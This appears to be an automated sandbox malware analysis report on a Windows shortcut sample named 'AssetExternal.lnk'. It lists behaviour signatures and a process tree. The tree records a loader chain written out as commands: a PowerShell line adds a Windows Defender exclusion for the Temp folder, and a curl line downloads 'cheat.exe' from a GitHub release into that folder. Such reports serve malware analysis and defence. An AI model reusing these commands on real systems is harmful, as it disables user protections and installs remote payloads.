Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/08/2026, 23:59

General

  • Target
    AssetExternalV8/AssetExternal.lnk
  • Size 1KB
  • Sample260808-31te3azzgx
  • SHA256 6dd4256f5e5818225f2ed4f2d378b9b70be3ccc52c70ea4d24ff1c338e4f9f5a
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 5 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\AssetExternalV8\AssetExternal.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:5036
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AssetExternalV8\dependencies\Libraries.bat" "
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3796
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4060
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:4940
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:1184
        • C:\Windows\system32\timeout.exe
          timeout /t 1 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:1428
        • C:\Windows\system32\timeout.exe
          timeout /t 1 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:3984
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1924
        • C:\Windows\system32\curl.exe
          curl -L -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -o "C:\Users\Admin\AppData\Local\Temp\cheat.exe" "https://github.com/vortixgg/Cypherix/releases/download/fqweqfq/cheat.exe"
          3⤵
            PID:3444
          • C:\Windows\system32\timeout.exe
            timeout /t 2 /nobreak
            3⤵
            • Delays execution with timeout.exe
            PID:3968
          • C:\Windows\system32\timeout.exe
            timeout /t 2 /nobreak
            3⤵
            • Delays execution with timeout.exe
            PID:2568
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        1⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:1304
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffd9b21c728,0x7ffd9b21c734,0x7ffd9b21c740
          2⤵
            PID:3540
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1968,i,18367264228563615279,11827840017116877364,524288 --field-trial-handle=2112,i,6205765188732305215,4444341184748413294,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2244 /prefetch:3
            2⤵
            • System Time Discovery
            PID:1924
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1808,i,15473832341375378707,560428784173751444,262144 --field-trial-handle=2112,i,6205765188732305215,4444341184748413294,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2108 /prefetch:2
            2⤵
              PID:3776
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2464,i,8668423143391637166,2757579287552473292,524288 --field-trial-handle=2112,i,6205765188732305215,4444341184748413294,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2632 /prefetch:8
              2⤵
                PID:4872
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3244,i,4332120455001752621,11178667242179218424,2097152 --field-trial-handle=2112,i,6205765188732305215,4444341184748413294,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3252 /prefetch:1
                2⤵
                  PID:4264
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3272,i,9089589609499649579,6601141124502825656,2097152 --field-trial-handle=2112,i,6205765188732305215,4444341184748413294,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3288 /prefetch:1
                  2⤵
                    PID:1360
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4268,i,11436824068481419208,17104745115342808045,2097152 --field-trial-handle=2112,i,6205765188732305215,4444341184748413294,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4276 /prefetch:2
                    2⤵
                      PID:4524
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4676,i,250096208756582769,8419599409604624909,2097152 --field-trial-handle=2112,i,6205765188732305215,4444341184748413294,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4700 /prefetch:1
                      2⤵
                        PID:4576
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5524,i,5015320844121571277,18300819745027636542,524288 --field-trial-handle=2112,i,6205765188732305215,4444341184748413294,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5436 /prefetch:8
                        2⤵
                          PID:2772
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=6056,i,198860928710318985,11415443645305202017,2097152 --field-trial-handle=2112,i,6205765188732305215,4444341184748413294,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5856 /prefetch:1
                          2⤵
                            PID:3900
                        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                          1⤵
                            PID:1632
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                            1⤵
                              PID:1680

                            Network

                                  MITRE ATT&CK Enterprise v16

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                                  Downloads

                                  BookmarkMergedSurfaceOrdering

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                                  • Size 6B
                                  • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                  • MD5 SHA1 SHA512

                                  BrowsingTopicsState

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                  • Size 414B
                                  • SHA256 99772761bfb64923fbfb07f1e74951e464a7f890e3403716d7512e782c3f764d
                                  • MD5 SHA1 SHA512 TLSH

                                  SCT Auditing Pending Reports

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                  • Size 2B
                                  • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                  • MD5 SHA1 SHA512

                                  Preferences

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                  • Size 12KB
                                  • SHA256 6306dea0b87caf4daf994d378a5ee5c98a8a442c382ac35b9cad6526e4819236
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  Secure Preferences

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                  • Size 17KB
                                  • SHA256 13805701603dbbca9403b94e006c712edafb4f98a8e0ae4ce0ad1b025b835f93
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  Local State

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                  • Size 115KB
                                  • SHA256 69d07e6143b4ecc9f4c38633ed5f989d8d5b76b00af1f37623387c30687ca327
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  Local State

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                  • Size 235KB
                                  • SHA256 a07ae1c8d0f251d887d371264ca036e508d4a7edfdfcd04a96d1205875459e31
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  __PSScriptPolicyTest_h1t5v0pi.ci4.ps1

                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h1t5v0pi.ci4.ps1
                                  • Size 60B
                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                  • MD5 SHA1 SHA512 TLSH

                                  memory/1924-2-0x000001B6536A0000-0x000001B6536C2000-memory.dmp